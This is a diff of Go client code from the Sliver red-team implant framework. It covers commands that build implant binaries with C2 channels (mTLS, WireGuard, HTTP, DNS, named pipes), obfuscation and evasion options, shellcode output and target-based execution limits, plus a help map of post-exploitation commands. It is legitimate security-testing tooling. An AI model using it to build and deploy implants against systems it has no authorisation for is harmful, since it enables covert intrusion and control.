"linux/amd64": true,
"windows/386": true,
"windows/amd64": true,
}
// validFormats = []string{
// "bash",
// "c",
// "csharp",
// "dw",
// "dword",
// "hex",
// "java",
// "js_be",
// "js_le",
// "num",
// "perl",
// "pl",
// "powershell",
// "ps1",
// "py",
// "python",
// "raw",
// "rb",
// "ruby",
// "sh",
// "vbapplication",
// "vbscript",
// }
)
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func saveLocation(save, DefaultName string) (string, error) {
var saveTo string
if save == "" {
save, _ = os.Getwd()
}
fi, err := os.Stat(save)
if os.IsNotExist(err) {
log.Printf("%s does not exist\n", save)
if strings.HasSuffix(save, "/") {
log.Printf("%s is dir\n", save)
os.MkdirAll(save, 0700)
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
_, err := os.Stat(saveTo)
if os.IsNotExist(err) {
os.MkdirAll(saveDir, 0700)
}
saveTo, _ = filepath.Abs(save)
}
} else {
log.Printf("%s does exist\n", save)
if fi.IsDir() {
log.Printf("%s is dir\n", save)
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return "", errors.New("file already exists")
}
saveTo, _ = filepath.Abs(save)
}
}
return saveTo, nil
}
func nameOfOutputFormat(value clientpb.OutputFormat) string {
switch value {
case clientpb.OutputFormat_EXECUTABLE:
return "Executable"
case clientpb.OutputFormat_SERVICE:
return "Service"
case clientpb.OutputFormat_SHARED_LIB:
return "Shared Library"
case clientpb.OutputFormat_SHELLCODE:
return "Shellcode"
}
panic(fmt.Sprintf("Unknown format %v", value))
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
}
}
c2s := []*clientpb.ImplantC2{}
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
c2s = append(c2s, mtlsC2...)
wgC2 := parseWGc2(ctx.Flags.String("wg"))
c2s = append(c2s, wgC2...)
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
c2s = append(c2s, httpC2...)
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
c2s = append(c2s, dnsC2...)
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
c2s = append(c2s, namedPipeC2...)
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
if ctx.Flags.Bool("debug") {
symbolObfuscation = false
} else {
symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
}
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return nil
}
rawCanaries := ctx.Flags.String("canary")
canaryDomains := []string{}
if 0 < len(rawCanaries) {
for _, canaryDomain := range strings.Split(rawCanaries, ",") {
if !strings.HasSuffix(canaryDomain, ".") {
canaryDomain += "." // Ensure we have the FQDN
}
canaryDomains = append(canaryDomains, canaryDomain)
}
}
reconnectInterval := ctx.Flags.Int("reconnect")
pollInterval := ctx.Flags.Int("poll")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
limitHostname := ctx.Flags.String("limit-hostname")
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
isSharedLib := false
isService := false
isShellcode := false
format := ctx.Flags.String("format")
var configFormat clientpb.OutputFormat
switch format {
case "exe":
configFormat = clientpb.OutputFormat_EXECUTABLE
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
case "service":
configFormat = clientpb.OutputFormat_SERVICE
isService = true
default:
// Default to exe
configFormat = clientpb.OutputFormat_EXECUTABLE
}
targetOS := strings.ToLower(ctx.Flags.String("os"))
targetArch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, targetArch = getTargets(targetOS, targetArch, con)
if targetOS == "" || targetArch == "" {
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
}
// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
return nil
}
var tunIP net.IP
if wg := ctx.Flags.String("wg"); wg != "" {
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
tunIP = net.ParseIP(uniqueWGIP.IP)
if err != nil {
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
return nil
}
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
Name: name,
Debug: ctx.Flags.Bool("debug"),
Evasion: ctx.Flags.Bool("evasion"),
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
WGPeerTunIP: tunIP.String(),
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ReconnectInterval: uint32(reconnectInterval),
PollInterval: uint32(pollInterval),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
LimitHostname: limitHostname,
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
Format: configFormat,
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
}
return config
}
func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) {
/* For UX we convert some synonymous terms */
if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
targetOS = "darwin"
}
if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
targetOS = "windows"
}
if targetOS == "linux" || targetOS == "lin" {
targetOS = "linux"
}
if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
targetArch = "amd64"
}
if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
targetArch = "386"
}
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Default implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Compile a Default build?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return "", ""
}
}
return targetOS, targetArch
}
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "mtls"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseWGc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
uri := url.URL{Scheme: "wg"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
uri, err = url.Parse(arg)
if err != nil {
log.Printf("Failed to parse C2 URL %s", err)
continue
}
} else {
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
if err != nil {
log.Printf("Failed to parse C2 URL %s", err)
continue
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseDNSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "dns"}
if len(arg) < 1 {
continue
}
// Make sure we have the FQDN
if !strings.HasSuffix(arg, ".") {
arg += "."
}
arg = strings.TrimPrefix(arg, ".")
uri.Host = arg
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri, err := url.Parse("namedpipe://" + arg)
if len(arg) < 1 {
continue
}
if err != nil {
return c2s
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "tcppivot"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
}
start := time.Now()
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
end := time.Now()
elapsed := time.Time{}.Add(end.Sub(start))
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
if len(generated.File.Data) == 0 {
con.PrintErrorf("Build failed, no file data\n")
return nil, errors.New("no file data")
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
}
con.PrintInfof("Implant saved to %s\n", saveTo)
return generated.File, err
}
func getLimitsString(config *clientpb.ImplantConfig) string {
limits := []string{}
if config.LimitDatetime != "" {
limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
}
if config.LimitDomainJoined {
limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
}
if config.LimitUsername != "" {
limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
}
if config.LimitHostname != "" {
limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
}
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
return strings.Join(limits, "; ")
}
func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
if format == clientpb.OutputFormat_EXECUTABLE {
return true // We don't need cross-compilers when targeting EXECUTABLE formats
}
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
return true
}
if runtime.GOOS != "windows" && targetOS == "windows" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "darwin" && targetOS == "darwin" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "linux" && targetOS == "linux" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
return true
}
func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
for _, cc := range crossCompilers {
if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
return true
}
}
return false
}
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
case "darwin":
con.PrintWarnf("The server cannot find an installation of osxcross")
case "linux":
con.PrintWarnf("The server cannot find an installation of musl-cross")
}
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
confirm := false
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
+57
View File
@@ -0,0 +1,57 @@
package generate
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// GetSliverBinary - Get the binary of an implant based on it's profile
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
var data []byte
// get implant builds
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return data, err
}
implantName := buildImplantName(profile.GetConfig().GetName())
_, ok := builds.GetConfigs()[implantName]
if implantName == "" || !ok {
// no built implant found for profile, generate a new one
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
data = generated.GetFile().GetData()
profile.Config.Name = buildImplantName(generated.GetFile().GetName())
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
} else {
// Found a build, reuse that one
con.PrintInfof("Sliver name for profile: %s\n", implantName)
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: profile.GetConfig().GetName(),
})
if err != nil {
return data, err
}
data = regenerate.GetFile().GetData()
}
return data, err
}
+20
View File
@@ -0,0 +1,20 @@
package generate
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ImplantsRmCmd - Deletes an archived implant build from the server
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("implant-name"),
})
if err != nil {
con.PrintErrorf("Failed to delete implant %s\n", err)
return
}
}
@@ -1,4 +1,4 @@
package command
package generate
/*
Sliver Implant Framework
@@ -22,45 +22,32 @@ import (
"bytes"
"context"
"fmt"
"io"
"strings"
"text/tabwriter"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
func listImplantBuilds(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
// ImplantsCmd - Displays archived implant builds
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
con.PrintErrorf("%s\n", err)
return
}
if 0 < len(builds.Configs) {
displayAllImplantBuilds(builds.Configs)
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
} else {
fmt.Printf(Info + "No implant builds\n")
con.PrintInfof("No implant builds\n")
}
}
func rmImplantBuild(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
if len(ctx.Args) < 1 {
fmt.Printf(Warn+"Invalid implant name, see `%s %s --help`\n", consts.ImplantBuildsStr, consts.RmStr)
return
}
_, err := rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"Failed to delete implant %s\n", err)
return
}
}
func displayAllImplantBuilds(configs map[string]*clientpb.ImplantConfig) {
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -98,5 +85,5 @@ func displayAllImplantBuilds(configs map[string]*clientpb.ImplantConfig) {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
}
table.Flush()
fmt.Printf(outputBuf.String())
fmt.Fprintf(stdout, "%s", outputBuf.String())
}
@@ -0,0 +1,61 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ProfilesGenerateCmd - Generate an implant binary based on a profile
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("name")
if name == "" {
con.PrintErrorf("no profile selected")
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
implantFile, err := compile(profile.Config, save, con)
if err != nil {
return
}
profile.Config.Name = buildImplantName(implantFile.Name)
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("could not update implant profile: %v\n", err)
return
}
} else {
con.PrintErrorf("No profile with name '%s'", name)
}
}
func buildImplantName(name string) string {
return strings.TrimSuffix(name, filepath.Ext(name))
}
+32
View File
@@ -0,0 +1,32 @@
package generate
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ProfilesNewCmd - Create a new implant profile
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("profile-name")
if name == "" {
con.PrintErrorf("Invalid profile name\n")
return
}
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new profile %s\n", resp.Name)
}
}
+20
View File
@@ -0,0 +1,20 @@
package generate
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ProfilesRmCmd - Delete an implant profile
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("profile-name"),
})
if err != nil {
con.PrintErrorf("Failed to delete profile %s\n", err)
return
}
}
+116
View File
@@ -0,0 +1,116 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// ProfilesCmd - Display implant profiles
func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profiles := getImplantProfiles(con)
if profiles == nil {
return
}
if len(profiles) == 0 {
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
return
}
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Platform")),
strings.Repeat("=", len("Command & Control")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Obfuscation")),
strings.Repeat("=", len("Limitations")),
)
for _, profile := range profiles {
config := profile.Config
if 0 < len(config.C2) {
obfuscation := "strings only"
if config.ObfuscateSymbols {
obfuscation = "symbols obfuscation"
}
if config.Debug {
obfuscation = "none"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
profile.Name,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("[1] %s", config.C2[0].URL),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
)
}
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
"",
"",
"",
"",
)
}
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
}
table.Flush()
}
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error %s", err)
return nil
}
return pbProfiles.Profiles
}
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error %s", err)
return nil
}
for _, profile := range pbProfiles.Profiles {
if profile.Name == name {
return profile
}
}
return nil
}
+60
View File
@@ -0,0 +1,60 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"os"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// RegenerateCmd - Download an archived implant build/binary
func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: ctx.Args.String("implant-name"),
})
if err != nil {
con.PrintErrorf("Failed to regenerate implant %s\n", err)
return
}
if regenerate.File == nil {
con.PrintErrorf("Failed to regenerate implant (no data)\n")
return
}
saveTo, err := saveLocation(save, regenerate.File.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to %s\n", err)
return
}
con.PrintInfof("Implant binary saved to: %s\n", saveTo)
}
File renamed without changes.
@@ -1,4 +1,4 @@
package command
package help
/*
Sliver Implant Framework
@@ -22,32 +22,35 @@ import (
"fmt"
"sort"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/desertbit/columnize"
"github.com/desertbit/grumble"
)
func helpCmd(app *grumble.App, isShell bool) {
printHelp(app)
fmt.Println()
// HelpCmd - Returns an instance of the 'help' command
func HelpCmd(con *console.SliverConsoleClient) func(a *grumble.App, shell bool) {
return func(a *grumble.App, shell bool) {
printHelp(con)
}
}
func printHelp(app *grumble.App) {
func printHelp(con *console.SliverConsoleClient) {
config := columnize.DefaultConfig()
config.Delim = "|"
config.Glue = " "
config.Prefix = " "
// Group the commands by their help group if present.
groups := make(map[string]*grumble.Commands)
for _, c := range app.Commands().All() {
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
if ActiveSession.Get() != nil {
if ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
if con.ActiveSession.Get() != nil {
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
@@ -84,23 +87,23 @@ func printHelp(app *grumble.App) {
}
if len(output) > 0 {
fmt.Println()
printHeadline(app.Config(), headline)
fmt.Printf("%s\n", columnize.Format(output, config))
con.Println()
printHeadline(con.App.Config(), headline, con)
con.Printf("%s\n", columnize.Format(output, config))
}
}
}
func headlinePrinter(c *grumble.Config) func(v ...interface{}) (int, error) {
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
if c.NoColor || c.HelpHeadlineColor == nil {
return fmt.Println
return con.Println
}
return c.HelpHeadlineColor.Println
}
func printHeadline(c *grumble.Config, s string) {
println := headlinePrinter(c)
if c.HelpHeadlineUnderline {
func printHeadline(config *grumble.Config, s string, con *console.SliverConsoleClient) {
println := headlinePrinter(config, con)
if config.HelpHeadlineUnderline {
println(s)
u := ""
for i := 0; i < len(s); i++ {
@@ -24,23 +24,29 @@ package help
import (
"bytes"
"fmt"
"strings"
"text/template"
consts "github.com/bishopfox/sliver/client/constants"
)
const (
sep = "."
)
var (
// NOTE: For sub-commands use a "." hierarchy, for example root.sub for "sub" help
cmdHelp = map[string]string{
consts.JobsStr: jobsHelp,
consts.SessionsStr: sessionsHelp,
consts.BackgroundStr: backgroundHelp,
consts.InfoStr: infoHelp,
consts.UseStr: useHelp,
consts.GenerateStr: generateHelp,
consts.NewProfileStr: newProfileHelp,
consts.ProfileGenerateStr: generateProfileHelp,
consts.StagerStr: generateStagerHelp,
consts.StageListenerStr: stageListenerHelp,
consts.JobsStr: jobsHelp,
consts.SessionsStr: sessionsHelp,
consts.BackgroundStr: backgroundHelp,
consts.InfoStr: infoHelp,
consts.UseStr: useHelp,
consts.GenerateStr: generateHelp,
consts.StagerStr: generateStagerHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
@@ -49,6 +55,7 @@ var (
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.UploadStr: uploadHelp,
@@ -64,15 +71,37 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.LoadExtensionStr: loadExtensionHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.GetEnvStr: getEnvHelp,
consts.SetEnvStr: setEnvHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.EnvStr: getEnvHelp,
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsListStr: pivotListHelp,
